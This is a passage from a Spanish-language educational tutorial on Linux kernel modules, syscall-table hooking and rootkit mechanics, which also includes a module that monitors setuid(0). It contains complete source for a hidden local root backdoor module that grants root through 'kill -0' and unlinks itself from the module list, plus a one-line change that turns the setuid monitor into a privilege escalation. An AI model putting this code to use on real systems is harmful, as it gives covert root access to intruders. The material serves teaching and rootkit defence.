Vous êtes sur la page 1sur 48

Kernel hacks y seguridad J.M.

KERNEL HACKS Y SEGURIDAD EN LINUX

Autor: Jose Miguel Porcel Gonzalez

Fecha elaboración: Diciembre 2005 – Enero 2006

Esta obra se rige por la licencia “CreativeCommons” disponible aquí:


http://www.creativecommons.org/licenses/by-nc-sa/2.5/legalcode

Atribución. Debes reconocer y citar la obra de la forma


especificada por el autor o el licenciante.

No Comercial. No puedes utilizar esta obra para fines


comerciales.

Licenciar Igual. Si alteras o transformas esta obra, o generas


una obra derivada, sólo puedes distribuir la obra generada bajo
una licencia idéntica a ésta.

Los derechos derivados del uso legítimo, del agotamiento u otras limitaciones o excepciones
reconocidas por la ley no se ven afectados por lo anterior.

Detalles:
http://creativecommons.org/licenses/by-nc-sa/2.5/deed.es_CL

NOTA: Salvo error u omisión el código de este documento se distribuye sin ningún tipo de
garantia bajo licencia GNU GPL en su versión más reciente por debajo de la versión 3.
Kernel hacks y seguridad J.M.P

ÍNDICE DE CONTENIDOS

Kernel hacks

1) Preparando el entorno de trabajo


• Obtener e instalar el código fuente del núcleo
2) Conceptos básicos
3) Loadable Kernel Modules
• Compilación de LKM's para la serie 2.4.x
4) Sys_call_table[] en kernels 2.2 y 2.4
5) Protegiendo el UID 0
6) Backdoor local para kernels 2.4.x
7) Módulos para la serie 2.6 del núcleo
• Compilación de LKM's para la serie 2.6.x
8) No exportación de la Sys_call_table[] para núcleos 2.6.x
• Otra alternativa ¿más sencilla?
9) Hooks y hacks de interés (algunas ideas)
10) Rootkits: visión general
• Ejemplo de un rootkit moderno: “Adore-ng”
• Medidas de protección y detección de rootkits

Conclusiones

NIDS: Snort

1) Preparando el entorno de trabajo


2) Configuración básica de Snort
3) Descargando nuevas reglas de Inernet
4) Prevención de intrusiones
5) Usando ACID + Snort
• Creando nuevas reglas para Snort

Conclusiones

Honeypots

1) Preparando el entorno de trabajo


2) Creando nuevos sistemas virtuales
3) Otros usos
• Listado de programas y/o utilidades para el análisis de redes y auditorias

Conclusiones

Bibliografía y recursos en Internet


Kernel hacks y seguridad J.M.P

NOTA:

El presente documento ha sido realizado por el autor de forma íntegra, no


obstante alguna información de la que aparece ha sido utilizada por el autor
del documento en otras ocasiones (aunque no en la misma forma ni en la
totalidad del contenido) para otros trabajos personales publicados en la red u
otros medios de comunicación con anterioridad.
Dichos documentos pueden estar regidos, o no, por la misma licencia del
presente documento.
Las fuentes externas (incluyendo algunas figuras usadas) cuyo origen sea
ajeno serán citadas de forma explícita y/o debería aparecer al final del
presente documento.

Para la realización de algunos diagramas se usó la herramienta “DIA” y para


escribir el documento se usó “OpenOffice”, no obstante es posible distribuir el
documento en cualquier otro formato siempre y cuando se respete su licencia y
su contenido.
El trabajo no está exento de errores e imperfecciones, cualquier crítica
constructiva (a modo de “feedback”) será bien recibida.
Existe una presentación (“diapositivas”) adjunta al documento que amplia
(ligeramente) y sintetiza ciertos aspectos del documento y que lo
complementa. Está disponible de igual forma en la red de Internet y se usó
para la exposición (de una charla) presentando el trabajo en una Universidad.
Kernel hacks y seguridad J.M.P

Introducción

En 1991 alguien llamado Linus B. Torvalds se compra un PC (386) para intentar comprender de
forma exhaustiva su funcionamiento. Como es de imaginar el sistema M$ DOS cutre de la época no
aprovechaba el procesador 386 (ni siquiera usaba el modo protegido) así que Linus cogió otro
sistema llamado "Minix" con A. Tanembaum como principal desarrollador y empezó a implementar
y reprogramar funcionalidades hasta el puno en el que en 1991 ya disponíamos de la versión de
Linux (contracción Linus + Unix) 0.01 que estaba muy lejos de ser lo que es hoy este potente
sistema operativo.

La primera versión oficial (la 0.02) data del 5 de Octubre de 1991 y ya permitía ejecutar ciertos
programas 'GNU' como 'bash'. Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de
1994 estaba disponible la primera versión "estable" 1.0 de nuestro querido sistema operativo de
forma totalmente independiente y libre :-)

En este trabajo voy a tratar ciertos aspectos sobre la seguridad del núcleo tanto en versiones
recientes 2.6 como en las no tan recientes series 2.2 y 2.4 con el objetivo de ver como podemos
protegernos ante ataques que se realizan a nivel del Kernel en forma de rootkit y especialmente
como funcionan este tipo de programas para comprometer la seguridad.
Kernel hacks y seguridad J.M.P

1.- Preparando el entorno de trabajo

Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento
será necesario tener en consideración una serie de requisitos previos:

• Para poder trabajar con un Kernel de Linux necesitamos algo fundamental... esto es, un
Kernel :-) concretamente necesitamos los sources de las series 2.4 y 2.6 para ir bien. Resulta
de interés tener dos SO corriendo, usaremos Qemu o VMWare.

• Necesitaremos a ser posible un depurador como GDB, o cualquier otro que corra bajo
Linux.

• Compilador GCC en una versión reciente.

• Tener soporte para Loadable Kernel Módules habilitado en el núcleo actual.

• Un editor para el código fuente y todas aquellas herramientas auxiliares y de sistema


requeridas o que supongan una comodidad para el usuario.

• Nociones elevadas de C y programación a bajo nivel son altamente recomendables.

1.1.- Obtener e instalar el código fuente del núcleo

El código fuente del núcleo se puede obtener de los CD's de instalación de nuestra distribución o
bien a través de Internet en la URL:

http://www.kernel.org

Una vez descomprimido el contenido del “tarball” en /usr/src procedemos a crear un enlace
simbólico en el mismo directorio apuntando a las fuentes del núcleo que vayamos a compilar y que
posteriormente tras su compilación e instalación será ejecutado al reiniciar la máquina.

ln –s /usr/src/linux-$(uname –r) linux

Teniendo eso en cuenta:

root# cd /usr/src

1. Descargamos el código fuente del Kernel en /usr/src


2. Descomprimimos el contenido según convenga: tar jxvf linux-2.x.x
3. Compilamos el núcleo con las opciones adecuadas:
# cd /usr/src/linux
# make menuconfig
# make && make modules_install
# cp ./arch/i386/boot/bzImage /boot/kernel-2.x.x

editamos nuestro gestor de arranque como sea necesario.


(reiniciamos la máquina)
Kernel hacks y seguridad J.M.P

2.- Conceptos básicos

Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio
que contiene las fuentes del núcleo "ls /usr/src/linux" y observar que el código sigue una
organización muy concreta donde por ejemplo "fs" contiene los sistemas de archivos, "init" es el
main() de Linux, "kernel" contiene las principales llamadas al sistema, "lib" diversos módulos y
"arch" el código dependiente de la arquitectura, son algunos de los directorios que aparecen.

Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables,


especialmente lo referente a punteros y punteros a funciones. Por ese motivo y a continuación se
presenta el primer listado que pretende refrescar estos puntos.

1. #include<stdio.h>
2. #define A 34
3. #define B 40
4. /* puntero a una func. */
5. int (*ptr_f) (int, int);
6. /* func. sumar dos enteros */
7. int
8. f_test (int a, int b)
9. { return (a + b);}
10.
11. int
12. main (void)
13. {
14. int suma = 0;
15. int *suma_ptr = NULL;
16. printf ("f_test() reside en:0x%x\n", f_test);
17. printf ("ptr_f apunta a:0x%x\n", ptr_f);
18. /* apuntamos a f_test(int,int) */
19. ptr_f = f_test;
20. printf ("ptr_f apunta a @f_test()");
21. printf ("*ptr_f() se ejecuta\n");
22. /* call @ptr_f -> f_test */
23. suma = (*ptr_f) (A, B);
24. /* suma_ptr -> @suma */
25. suma_ptr = &suma;
26. printf ("la variable 'suma' se encuentra en (@0x%x)\n", &suma);
27. /* contenido de @suma_ptr ? */
28. printf ("...contiene el valor:%d\n", *suma_ptr);
29. return 0;
30. }

El código es bastante simple, dados dos números los suma mostrando cierta información al
respecto. Las partes interesantes ahí son las líneas 5, 19, 25 y 23.
$gcc listado.c -o listado $./listado

f_test() reside en:0x80483cc


ptr_f apunta a:0x0
ptr_f apunta a @f_test()*ptr_f() se ejecuta
la variable 'suma' se encuentra en (@0xbfde8170)
...contiene el valor:74
Kernel hacks y seguridad J.M.P

Kerneland y Userland

Como es de imaginar el núcleo del sistema operativo se encuentra en un modo privilegiado para
operar con la máquina y sus dispositivos mientras que los usuarios trabajamos con direcciones de
memoria virtuales y hacemos las peticiones al núcleo para que realice por nosotros aquellas cosas
que no se nos está permitido hacer de forma directa, a la zona de memoria del núcleo se le llama
simplemente espacio del kernel y a la del usuario espacio de usuario o "userland"

Si estando en el espacio del kernel cometemos algún fallo o saltamos a una dirección de memoria
equivocada es más que probable que el sistema se inestabilice o que surjan comportamientos no
previstos que terminaran en un genuino "kernel panic" y un festival de volcados de memoria que
obligarán a reiniciar la máquina, en el peor de los casos no tendrás los discos sincronizados y la
máquina se reiniciará de inmediato por lo que se recomienda hacerlo (comando 'sync' desde la
consola) con el fin de no perder aquellos datos no volcados aún al disco y demás.

Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo
haríamos en nuestros programas habituales dentro del espacio de usuario, pero de todas formas eso
lo veremos en breve en el presente trabajo.

Archivos de cabecera

Aquellos archivos de cabecera usados por el preprocesador de C se sitúan en el directorio


/usr/include y definirán la interfaz de aquellos programas que son compilados, aquí entraría por
ejemplo “<stdio.h>.”

Estos archivos de cabecera (o "headers" en inglés) se enlazan con la biblioteca de C que es


distribuida de forma independiente al núcleo, por otro lado el Kernel también dispone de archivos
de cabecera que se usan para su compilación y que se encuentran en '/usr/src/linux/include' aquí
tenemos el directorio 'linux' que contiene declaraciones que no dependen de la arquitectura y 'asm'
para las que sí dependen de la arquitectura.

Llamadas al sistema

En primer lugar ¿qué es una llamada al sistema? Como he comentado hace un momento en el
espacio de usuario un proceso tiene pocos privilegios y necesita del núcleo para trabajar con la
máquina con total libertad. De ésta manera podemos definir una llamada al sistema como la petición
transmitida por un proceso al núcleo que trata esta petición con todos los privilegios, devuelve un
resultado al proceso y lo hace seguir de forma normal.

Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instrucción concreta (Int 0x80)
que le hace pasar al modo núcleo y así atender su propia llamada al sistema mediante cierta rutina
del núcleo, por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo
privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario.
Kernel hacks y seguridad J.M.P

3.- Loadable Kernel Modules

Existen varios componentes en el núcleo de Linux que no es necesario tener siempre cargados en
memoria por varios motivos, por ejemplo si ningún usuario necesita trabajar con particiones NTFS
podemos no cargar el módulo que nos permite trabajar con el sistema de ficheros NTFS, sin
embargo, cualquier cosa que modifiquemos del núcleo como añadir o eliminar algún gestor de
dispositivo implicarían tener que recompilar el núcleo si no disponemos de una manera de
"extenderlo" en caliente.

Afortunadamente, sí disponemos de los módulos cargables del kernel o "Loadable Kernel Modules"
(LKM a partir de ahora) que nos permiten dotar de modularidad al núcleo. Estos LKM's se
integrarán dinámicamente en el Kernel si los necesitamos o también cuando insertamos un módulo
a mano, sólo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio núcleo
claro está.

Para cargar y descargar módulos tenemos a nuestra entera disposición (como root) dos comandos
que son 'insmod lmk.o' para insertar y 'rmmod lkm' para descargar un módulo estos programas
pueden diferir según el tipo de Kernel que tengas, para cada caso necesitarás instalar los adecuados.
En el caso de la serie 2.6 los módulos se insertan mediante 'insmod lmk.ko' en lugar de ".o", en
cualquier momento puede verse que módulos hay cargados mediante 'lsmod'.

Pero la verdad es que todo eso así sin más no tiene demasiado sentido lo mejor será dar paso al
siguiente listado que iré explicando paso a paso y que es válido para los núcleos de la serie 2.2 y 2.4
también lo es - de hecho - para la serie 2.6 pero existen ciertas particularidades a tener en cuenta así
que lo trataré más adelante por separado.
1. #define MODULE
2. #define __KERNEL__
3. #include <linux/version.h>
4. #include <linux/kernel.h>
5. #include <linux/module.h>
6. MODULE_PARM(parm_entero, "i");
7. int parm_entero;
8.
9. int init_module() {
10. printk("LKM cargado!\n");
11. printk("parm_entero vale:%i\n", parm_entero);
12. return 0;
13. }
14.
15. void cleanup_module() {
16. printk("LKM descargado!\n");
17. }
18. MODULE_LICENSE("GPL");
19. MODULE_AUTHOR("Jose Miguel Porcel G.");
Kernel hacks y seguridad J.M.P

3.1- Compilación de LKM's para la serie 2.4.x


Tenemos un módulo que compilar, para ello usaremos gcc pero no de la misma forma con la que
compilarías un programa normal en C. Para compilar el ejemplo anterior deberás usar algo como lo
siguiente asumiendo que "/usr/src/linux" apunta al directorio con las fuentes del kernel:

root# gcc -c listado2.c -I /usr/src/linux/include

lo que nos genera un fichero "listado2.o" (fichero objeto) listo para ser insertado.

root# insmod listado2.o parm_entero=5

podriamos obtener información sobre el módulo mediante: modinfo <modulo.o>

Es posible que al intentar insertar el módulo te haya dicho algo así como que no encuentra la versión del Kernel o que la
versión del Kernel para la que fue compilado el LKM no coinciden, se puede solucionar esto editando
"/usr/src/linux/include/linux/version.h" y adaptarlo para que sea la misma versión que la
indicada por 'uname -r' es una medida para salir del paso pero funcionará.

Explicación:

En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el
programa no compilará debidamente ya que lo que estamos compilando es un módulo que será
insertado en el Kernel, de esas tres macros que son "MODULE_PARM", "MODULE_AUTHOR" y
"MODULE_LICENSE" la única que merece una explicación es MODULE_PARM ya que nos
permite pasar parámetros al módulo, estos parámetros pueden ser de tipo 'i' (int) o bien 'h' (short),
's' (string), 'l' (long), etc. Supongo que el ejemplo ilustra como son pasados los parámetros por lo
que no nos entretendremos más con eso.

Luego tenemos dos rutinas que son "init_module()" y "cleanup_module()" la primera se ejecuta al
cargar el módulo y la segunda es una rutina de supresión con descarga. Otra cosa a destacar es que
no usamos "printf()" para imprimir mensajes sino que usamos "printk()" puesto que estamos
trabajando dentro del espacio del núcleo y a más bajo nivel.

Acabo de decir que usamos printk para imprimir mensajes... el caso es que los LKM's no pueden
imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra ¿entonces qué pasa?
Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo
al terminal del Syslog.

Se podrán ir viendo los mensajes logueados y registrados en "/var/log/messages/".


Kernel hacks y seguridad J.M.P

4.- Sys_call_table[] en kernels 2.2 y 2.4

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para
nuestras intenciones de manera que las vamos a declarar en nuestro módulo:

extern void *sys_call_table[];

Con eso ya es posible acceder al vector que sirve de contenedor para saber dónde tenemos que
saltar en la memoria al realizar llamada. Nadie dice que no podamos usar nosotros ese vector y
enganchar ("hook") literalmente una rutina que se ejecutaría en lugar de la supuesta syscall a la que
se llamo :-)

Listado 3:

1. #define MODULE
2. #define __KERNEL__
3. #include <asm/unistd.h>
4. #include <linux/version.h>
5. #include <linux/kernel.h>
6. #include <linux/module.h>
7. extern void *sys_call_table[];
8. long (* hook_chmod)(const char *fichero);
9.
10. long mi_chmod(const char *fichero){
11. printk("[!] CHMOD inhibido.\n");
12. return 0;
13.
14.
15. }
16. int init_module() {
17. printk("LKM Listo y funcionando.\n");
18. hook_chmod=sys_call_table[__NR_chmod];
19. sys_call_table[__NR_chmod]=mi_chmod;
20. printk("@SYS_chmod: 0x%p\n",hook_chmod);
21. return 0;
22.
23. }
24.
25. int cleanup_module(){
26. printk("Descargando...\n");
27. sys_call_table[__NR_chmod]=(void *)hook_chmod;
28.
29. }
30. MODULE_LICENSE("GPL");
31. MODULE_AUTHOR("Jose Miguel Porcel G.");
32. MODULE_DESCRIPTION("Ejemplo de hook, anula chmod");

Si ahora un usuario intenta hacer "chmod" para modificar los atributos de un fichero por ejemplo
"chmod a+rx fichero" podrá observar como no surge ningún tipo de efecto, no se procesa la
verdadera syscall de chmod sino la suplantada y por tanto se mostrará el mensaje por pantalla
indicando el evento.

El funcionmiento se explica a continuación.


Kernel hacks y seguridad J.M.P

Resulta que he creado un puntero a una función (man chmod) de manera que al inicializar el LKM
he guardado en "hook_chmod" la dirección de la syscall __NR_chmod original dentro del vector
con el fin de poder restaurarla al descargar el módulo (queremos seguir usando el verdadero chmod
después de jugar :P) y a continuación hemos redireccionado __NR_chmod a la dirección de
memoria donde tenemos nuestra función (mi_chmod) de manera que cuando el sistema accede a
__NR_chmod procesará la rutina mi_chmod en lugar de la verdadera función chmod, de ahí que no
tenga efecto el comando chmod mientras tengas el LKM cargado.

¿De dónde se sacan los nombres de las syscalls? Basta con mirar <asm/unistd.h>

$cat /usr/src/linux/include/linux/asm/unistd.h|less

Allí encontramos parejas de syscalls y número identificador, chmod es la 15 en mis fuentes. Si


además tienes algo más de tiempo, yo sugiero echar otro vistazo a
"/usr/src/linux/include/linux/syscalls.h".

Si podemos referirnos a las syscalls con __NR_ es porque usamos <asm/unistd.h>.

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del
kernel mediante "kmalloc()" y "kfree()" así como la manera de pasar datos desde el espacio de
usuario a la memoria del núcleo y al revés gracias a las funciones "__generic_copy_from_user" y
"__generic_copy_to_user" respectivamente, "memset" se utiliza para llenar la memoria con un byte
constante y "GFP_KERNEL" indica el tipo de asignación de memoria para el núcleo.

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por
"jmphack" al hacer 'mv origen destino', hay que procurar no sobrescribir ficheros y descargar el
módulo cuando se haya visto que funciona usando rmmod.

La nueva cabecera añadida aquí para los tratamientos mencionados justo arriba viene a ser:
<linux/mm.h>

1. #define MODULE
2. #define __KERNEL__
3. #include <linux/version.h>
4. #include <linux/kernel.h>
5. #include <asm/unistd.h>
6. #include <linux/module.h>
7. #include <linux/mm.h>

// sigue listado 4
Kernel hacks y seguridad J.M.P

// continuando listado 4
8. extern void *sys_call_table[];
9. int (*hook_mv)(const char *desde, const char *hasta);
10.
11. int mi_mv(const char *desde, const char *hasta) {
12. char *kbuff1=(char *)kmalloc(strlen(desde)+1, GFP_KERNEL);
13. memset(kbuff1, 0, strlen(desde)+1);
14. /* importante no dejarnos el +1 del final sino la liamos */
15. __generic_copy_from_user(kbuff1, desde, strlen(desde)+1);
16. __generic_copy_to_user(hasta,"jmphack");
17. kfree(kbuff1);
18. return((*hook_mv)(desde, hasta));
19. }
20.
21. int init_module() {
22. printk("LKM cargado!\n");
23. hook_mv=sys_call_table[__NR_rename];
24. sys_call_table[__NR_rename]=mi_mv;
25. return(0);
26. }
27.
28. void cleanup_module() {
29. printk("LKM descargado!\n");
30. sys_call_table[__NR_rename]=hook_mv;
31. }
32. MODULE_LICENSE("GPL");
33. MODULE_AUTHOR("Jose Miguel Porcel G.");
34. MODULE_DESCRIPTION("Hook a rename()");

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son
para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su
uso en sistemas comprometidos, no resulta complicado averiguar como trabaja el sistema con los
procesos, los ficheros y demás para poder - por ejemplo - ocultar un fichero o incluso el propio
módulo en la memoria, todo esto y algo más lo vemos a continuación.
Kernel hacks y seguridad J.M.P

5.- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de
sistemas operativos hasta ahora, sabemos que el uid0 se corresponde al id de root (usuario
privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid()
para establecer privilegios de root. En el siguiente código se ilustra como evitar que se use setuid(0)
por usuarios distintos a root todo debidamente monitoreado, esto permite en ciertos casos sumar un
punto a la seguridad del sistema.

Cabe destacar que el LKM que se muestra es para la serie 2.4 y habrá que adaptarlo después para la
serie 2.6, no obstante solamente habrá que esperar un poco antes de ver eso.
1. #define MODULE
2. #define __KERNEL__
3. #include <asm/unistd.h>
4. #include <linux/sched.h>
5. #include <linux/version.h>
6. #include <linux/kernel.h>
7. #include <linux/module.h>
8. extern void *sys_call_table[];
9. long (* hook_suid)(uid_t uid);
10.
11. long nosuid(uid_t uid){
12.
13. int res;
14. if (current->uid && !uid){
15. printk("[ALERTA] Ejecutado setuid 0 desde un usuario no root!\n");
16. printk("info: PID(%i) PGRP(%i) E/UID (%i , %i) => %i

[DENEGADO]\n",

17. current->pid,
18. current->pgrp,
19. current->euid,
20. current->uid,
21. uid);
22. res=(* hook_suid)(current->uid);
23. }
24. res=(* hook_suid)(uid);
25. }
26. int init_module() {
27. printk("LKM Listo y funcionando.\n");
28. hook_suid=sys_call_table[__NR_setuid32];
29. sys_call_table[__NR_setuid32]=nosuid;
30. return 0;
31. }
32.
33. int cleanup_module(){
34. printk("Descargando...\n");
35. sys_call_table[__NR_setuid32]=hook_suid;
36. }
37. MODULE_LICENSE("GPL");
38. MODULE_AUTHOR("Jose Miguel Porcel G.");
39. MODULE_DESCRIPTION("Controla setuid 0");
Kernel hacks y seguridad J.M.P

Insertamos el módulo y probamos:

root# su linux ; linux$ su root ; linux$ tail /var/log/messages

La novedad en el código anterior es en primer lugar que el código es ligeramente más útil :P y luego
que he usado "current" para referirnos a nosotros mismos, es decir, al proceso en ejecución en un
instante determinado, es por eso que he incluido "<linux/sched.h>". Si miramos ahí dentro tenemos
una gran estructura "task_struct" que caracteriza a un proceso, no la muestro aquí porque es un poco
grande como para reproducirla ahora.

Modificando el código anterior ligeramente, justo en la línea 22, por:

res=(* hook_suid)(0);

hacemos que un usuario no privilegiado pase a elevar sus privilegios, sin más.

En el siguiente apartado hacemos algo más serio, se trata de un backdoor para los núcleos de la
serie 2.4 y que luego adaptaré también a la serie 2.6, con todo lo que eso conlleva. Para ello vamos
a manipular la syscall SYS_KILL creando un nuevo “signal” que será muy especial :-)

Otra utilidad para SYS_KILL sería evitar que usuarios sin privilegios puedan matar procesos ajenos
o incluso podemos proteger procesos de señales (como kill -9) frente a cualquier usuario,
privilegiado o no.
Kernel hacks y seguridad J.M.P

6.- Backdoor local para kernels 2.4.x

Con todo lo visto en los códigos de arriba está totalmente tirado hacer una puerta trasera en el
sistema para asegurarnos privilegios de root, de hecho un LKM es una forma muy elegante de
hacerlo.

En el siguiente listado veremos un módulo que dará privilegios efectivos de root (euid=0) al user
que intente mandar la señal '-0' mediante 'kill' a un proceso con un pid determinado por
"COOLPID" - aquí con poco sentido poner 00000 = 0 -, bastará con ejecutar lo siguiente:

linux$ kill -0 00000 (al hacer 'id' vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un módulo cargado (hacer lsmod y ver
“backdoor” canta un poco) por lo que al inicializar la carga del mismo haremos que "desaparezca"
el como lo explico a continuación después de mostrar un poco el código que aunque está claro que
es infinitamente mejorable como ejemplo es perfecto.
Kernel hacks y seguridad J.M.P

// backdoor local 1 kernels 2.2 / 2.4


1. #define __KERNEL__
2. #define MODULE
3. #include <linux/kernel.h>
4. #include <linux/version.h>
5. #include <linux/module.h>
6. #include <asm/unistd.h>
7. #include <linux/sched.h>
8. #define COOLPID 00000
9. /* no queremos exportar los simbolos ;) */
10. EXPORT_NO_SYMBOLS;
11. extern void *sys_call_table[];
12. int (*killsysc)(pid_t pid,int sig);
13. /* nos da root si kill -0 COOLPID*/
14. int hook(pid_t pid,int sig){
15. if (sig==0 && pid== COOLPID) {
16. current->euid=0;
17. current->uid=0;
18. }
19. return 0;
20. }
21. /* carga */
22. int init_module()
23. { /* ocultamos el LKM */
24. struct module *yo = &__this_module,
25. *secuestrado = NULL;
26. secuestrado = yo->next;
27. /* no pudo ser */
28. if (!secuestrado) return -1;
29. /* su DNI por favor ? */
30. yo->name = secuestrado->name;
31. yo->flags = secuestrado->flags;
32. yo->size = secuestrado->size;
33. yo->next = secuestrado->next;
34. /* hook */
35. killsysc=sys_call_table[__NR_kill];
36. sys_call_table[__NR_kill]=hook;
37. return 0;
38. }
39. /* descarga */
40. int cleanup_module()
41. {
42. /* dejamos las cosas en orden */
43. sys_call_table[__NR_kill]=killsysc;
44. return 0;
45. }
46. /* publicidad */
47. MODULE_LICENSE("GPL");
48. MODULE_AUTHOR("Jose Miguel Porcel G.");
49. MODULE_DESCRIPTION("backd00r local simple para 2.2.x y 2.4.x");

En primer lugar ¿qué es ese "EXPORT_NO_SYMBOLS" ? Resulta que al insertar el módulo


nuestras con nuestras funciones se exportan y así los símbolos pueden ser usados por otros
módulos, si ejecutas:

$cat /proc/ksyms
Kernel hacks y seguridad J.M.P

Verás la lista de símbolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso
para nuestro backdoor, no cuesta nada NO exportar los símbolos mediante esa macro.

Resulta interesante echar un vistazo a "<linux/module.h>" porque de ahí he sacado la información


para la estructura "module" que he utilizado – entre otras cosas- para ocultar el módulo. Como el
Kernel guarda una lista simple enlazada con los módulos cargados es muy fácil reajustar los
punteros al módulo siguiente para eliminar un elemento existente.

Al insertar un nuevo módulo éste pasa a ser la referencia al inicio de la lista de manera que se
complica el poder quitarnos a nosotros mismos del medio, la solución como se puede ver no es
compleja de entender, lo que hacemos es coger el siguiente módulo a nosotros en la lista, obtener
sus propiedades (las que 'lsmod' muestra) y sacar al módulo suplantado de la lista enlazada lo que
no deshabilita el módulo simplemente lo oculta, se trata de un camuflaje simple pero funciona y eso
es lo que vale.

El resto del código es lo que vengo haciendo, hemos interceptado la syscall __NR_kill de manera
que cada vez que se ejecute llama a "hook (pid_t,pid)" que verifica si "pid_t = 0 y pid =
COOLPID" si es así establece los privilegios del proceso a uid =0 (root) y euid=0, la auténtica
llamada a kill se omite.

Ahora voy a tratar cosas más serias al empezar con los módulos para el kernel 2.6.x, los cambios no
son muchos y es fácil una vez visto como se soluciona cierto asunto, como podemos ajustar los
módulos anteriores para que funcionen en un nuevo Kernel de la serie 2.6.
Kernel hacks y seguridad J.M.P

7.- Módulos para la serie 2.6 del núcleo

Lo mejor para empezar es ver un listado de código:

// Primer ejemplo de un LKM para la serie 2.6

1. #include <linux/init.h>
2. #include <linux/module.h>
3. #include <linux/kernel.h>
4. static int __init carga(void)
5. {
6. printk(KERN_INFO "LKM preparado!\n");
7. return 0;
8. }
9. static void __exit descarga(void)
10. {
11. printk(KERN_INFO "Nos vamos...\n");
12. }
13. module_init(carga);
14. module_exit(descarga);

Lo que se nota rápidamente es que he añadido "<linux/init.h>" para las macros "module_init" y
"module_exit", el caso es que el método usado a partir de ahora para llamar a las funciones
init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras
rutinas de carga y descarga con el nombre que queramos. Otra cosa, he añadido ahí "KERN_INFO"
a printk cosa que hasta ahora no había hecho, y sirve para establecer una prioridad a la hora de
registrar o imprimir nuestro mensaje y por defecto tiene prioridad
"DEFAULT_MESSAGE_LOGLEVEL" mirando el fichero kernel.h solucionamos dudas sobre
esto, muestro en todo caso las prioridades ordenadas de mayor a menor:

KERN_EMERG <0>
KERN_ALERT <1>
KERN_CRIT <2>
KERN_ERR <3>
KERN_WARNING <4>
KERN_NOTICE <5>
KERN_INFO <6>
KERN_DEBUG <7>

No aparecen arriba "#define __KERNEL__" y "MODULE" ya que si lo haces seguramente se te


advertirá de que las declaraciones están redefinidas.
Kernel hacks y seguridad J.M.P

Compilación de LKM's para la serie 2.6

En primer lugar necesitaremos crear un fichero llamado "Makefile" cuyo contenido sea:

obj-m := modulo.o

Explicar ahora el funcionamiento de los Makefile y demás escapa de las pretensiones de éste trabajo
pero basta con saber que "modulo.o" es el nombre del LKM que deseamos compilar.

Hecho esto y situados en un directorio que contiene tanto el "modulo.c" como el fichero Makefile
ejecutamos lo siguiente:

root# make -C /usr/src/linux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un "modulo.ko" generado listo para insertar de manera
habitual con 'insmod', para eliminar el módulo se hace de igual forma con 'rmmod'.

8.- No exportación de la Sys_call_table[] para núcleos 2.6.x


Resulta que la famosa Sys_call_table que usábamos para enganchar las syscalls ya no está
disponible para su uso indiscriminado... así que todo esto nos va a suponer un poco más de trabajo.

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos
clave:

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que
la CPU (x86) procesa. Internamente Linux y nuestra máquina usan el vector 128 (Int 0x80) para las
llamadas al sistema.

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un
manejador de excepción o una interrupción, el registro "idtr" (en arquitectura x86) contiene la
dirección de la base de la IDT.

Linux utiliza dos tipos de descriptores las "Trap Gates" y las "Interrupt Gates" de manera que los
"Gate Descriptors" (traducido "descriptores de puerta o pasarela") sirven como identificador para la
dirección de una interrupción o manejadores de excepciones. Aquí hemos notado muchas veces que
ocurrirá un "fallo de protección general" cuando el nivel de privilegios del Gate Descriptor es
inferior al indicado por el nivel de privilegio de un programa.

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege
Level o "DPL" vale 3 para las "System Gates" y 0 para "Trap Gates" por ejemplo) esto es muy
interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de
syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de
usuario.
Kernel hacks y seguridad J.M.P

Resumiendo:

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando
queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida
¿definida dónde? pues en "arch/i386/entry.S" gentileza del propio Linus Torvalds :-)

El hack

Lo ideal sería que editar (sólo lectura) "arch/i386/entry.S" para buscar una parte igual o muy similar
a la que muestro, en la serie 2.4 cambia ligeramente pero la idea es la misma.

/usr/src/linux/arch/i386/kernel/entry.S

Líneas 225 a 259 de mi kernel 2.6.14, sobre la 277 en versiones 2.6.9 y otras – por supuesto- esto es
asi debido a algunos cambios que se han ido haciendo en el desarrollo.

# system call handler stub

1. ENTRY(system_call)
2. pushl %eax # save orig_eax
3. SAVE_ALL
4. GET_THREAD_INFO(%ebp)
5. testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_
flags(%ebp)
6. jnz syscall_trace_entry
7. cmpl $(nr_syscalls), %eax
8. jae syscall_badsys
9. syscall_call:
10. call *sys_call_table(,%eax,4)
11. movl %eax,EAX(%esp)
12. syscall_exit:
13. [... continúa]

He omitido algunos comentario del fichero y demás por brevedad.

Atención, en la línea que va justo después de la etiqueta "syscall_call:" ahí lo que hace es hacer una
